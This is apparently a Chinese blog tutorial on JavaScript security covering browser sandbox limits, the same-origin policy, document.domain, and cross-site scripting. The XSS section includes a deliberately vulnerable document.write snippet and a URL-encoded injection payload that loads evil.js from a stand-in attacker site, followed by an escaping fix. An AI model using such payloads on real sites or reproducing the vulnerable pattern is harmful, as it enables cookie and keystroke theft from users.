日期:2014-05-16  浏览次数:20416 次

{{JS}}Javascript安全性问题
本节讨论Javascript安全性问题

1.Javascript不能做什么
Javascript解释器引入到Web浏览器,意味着载入一个Web页面可能导致任意的Javascript代码在用户计算机上执行。安全的Web浏览器以各种方式限制脚本,从而防止恶意代码读取私密数据,更改数据或危及隐私。

1)Javascript针对恶意代码的第一条防线就是这种语言不支持某些功能。如,客户端的Javascript不提供任何方式来读取,写入或删除客户端计算机上的文件和目录。没有File对象,也没有文件访问函数,一个Javascript程序就无法删除用户的数据或者在用户系统中植入病毒。
2)Javascript在自己所支持的某些功能上强加限制。如,
A 客户端的Javascript可以脚本化HTTP协议来和服务器交换数据,并且它甚至可以从FTP或其它服务器下载数据,但Javascript不提供通用的网络原语,并且无法为任何主机打开一个socket或者接受一个来自其它主机的连接。
B Javascript程序可以打开一个新的窗口,但为了防止广告滥用弹出窗口,很多浏览器限制这一功能,使其只能在为了响应鼠标点击事件时才能使用它。
C 当鼠标移动到链接上时,Javascript程序无法通过设置状态行文本来使链接的目标地址变得模糊不清。(以防网络钓鱼陷阱)
D 脚本无法打开一个太小的窗口(通常一边小于100px)或者把一个窗口缩小到太小。同样,脚本也不能把窗口移出屏幕外,或者创建一个比屏幕更大的窗口,这就防止打开用户无法看到的或者可能忽略的窗口,这样的窗口可能包含继续运行的脚本而用户却以为它们已经停止了。还有,脚本无法创建一个没有标题或状态行的窗口。
E HTML的FileUpload元素的value属性无法设置。如果这个属性可设置,一个脚本可以将其设置为任何想要的文件名,并且引发表单将任何指定文件(如/etc/passwd)内容上传到服务器。
F 脚本不能读取从不同服务器载入的文档的内容,除非这个文档就是包含该脚本的文档。类似的,一个脚本不能在来自不同服务器的文档上注册事件监听器,这就防止脚本窃取给其它页面的用户输入。这一限制称为浏览器的同源策略。

2.同源策略
同源策略是对Javascript代码能够和哪些Web内容交互的一条完整的安全限制。当一个Web页面使用多个帧时或者打开其它的浏览器窗口时,这一策略会发挥作用。此时,同源策略负责管理一个窗口或帧中的Javascript代码和其它窗口或帧的交互。具体的说,一个脚本只能够读取和包含这一脚本的文档来源相同的窗口和文档的属性。

当使用XMLHttpRequest对象脚本化HTTP时,同源策略也会起作用。这一对象允许客户端Javascript代码提出任何HTTP请求,但所针对的Web服务器只能是载入包含文档的Web服务器。

文档的来源定义为协议,主机,端口。载入自不同的Web服务器的文档具有不同的来源。通过同一主机的不同端口载入的文档具有不同的来源。使用http:协议载入的一个文档与另一个使用https:协议载入的文档具有不同的来源。

脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源(document.domain)。理解这点,so important。比如,假设一个来源域为A的脚本(通过script src属性)包含到一个域为B的Web页中,这个脚本可以完整地访问包含它的文档的内容。如果脚本打开一个新的窗口并且载入一个来源域B的另一个文档,脚本也对这个文档的内容具有完全相同的访问权限。但如果脚本打开第三个窗口并载入一个来自域C的文档(或来源域A的文档),同源策略就会发挥作用,阻止脚本访问这个文档。

同源策略对于安全性来说是非常有必要。但是在某些情况下,同源策略就显得过于严格。如,来源www.A.com的脚本可能会想要读取从dev.A.com装载进来的文档的属性,或者来自home.A.com的脚本可能想要读取order.A.com上的文档的属性,这是合理的。为支持这种类型的操作,可以使用document.domain来搞定同源策略。在默认情况下,属性domain存放的是装载文档的服务器的主机名,可以调置这一属性,不过使用的字符串必须具有有效的域前缀。如,若一个domain初始值为home.A.com,可设置为A.com,但不能设置为home.A,com,etc。

如果两个窗口或帧含有的脚本把domain调置成相同的值,那么这两个窗口就不会再受同源策略的约束,它们可以互相读取对方的属性。

更多关于跨域问题,请见:
跨域的理解与实现 http://blog.csdn.net/bill200711022/article/details/7770960
{{js跨域请求解决方案}}Use a Web Proxy for Cross-Domain XMLHttpRequest Calls(使用服务器端代理实现Ajax跨域请求)http://blog.csdn.net/bill200711022/article/details/7774095
{{js跨域请求解决方案续}}Cross-domain XMLHttpRequest(使用Apache mod_rewrite实现跨域请求) http://blog.csdn.net/bill200711022/article/details/7784432

3.脚本化插件和ActiveX控件
略。

4.跨站脚本XSS(之所以称为跨站脚本攻击,因为它涉及多个站点)
XSS是指攻击者向目标Web站点注入HTML标记或者脚本。防止XSS攻击是Web开发的一项基本工作。

如果Web页面动态产生文档内容,并且这些文档内容基于用户提交的数据,而并没有通过从中移除任何嵌入的HTML标记来消毒的话,那么这个Web页面很容易遭到XSS攻击。考虑如下,当用下面url调用时,

<script>
var name = decodeURIComponent(location.search.substring(6)) || '';
document.write("hello, " + name);
</script>

http://www.example.com/greet.html?name=%3Cscript%20src%3D%22siteB%2Fevil.js%22%3E%3C%2Fscript%3E

只用这一url,脚本会动态插入另一个脚本。站点B(或站点C)生成一个专门构造的到站点A的链接,它会注入一个来自站点B的脚本。如上例,脚本evil.js驻留在恶意站点siteB,但它被嵌入到站点A中,并且可以对A的内容进行任何想要的操作。它可能损坏这个页面或使其不能正常工作,更甚者,恶意脚本读取站点A的cookie及其它个人信息,并将数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发过回站点B。

通常,防止XSS攻击的方式是,在使用任何不可信的数据来创建动态的文档内容之前,从其中移除HTML标记。可以通过添加如下一行代码来移除<script>标记两边的尖括号,从而来修得前面的greet.html文件:

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");

5.拒绝服务攻击(DoS)
略。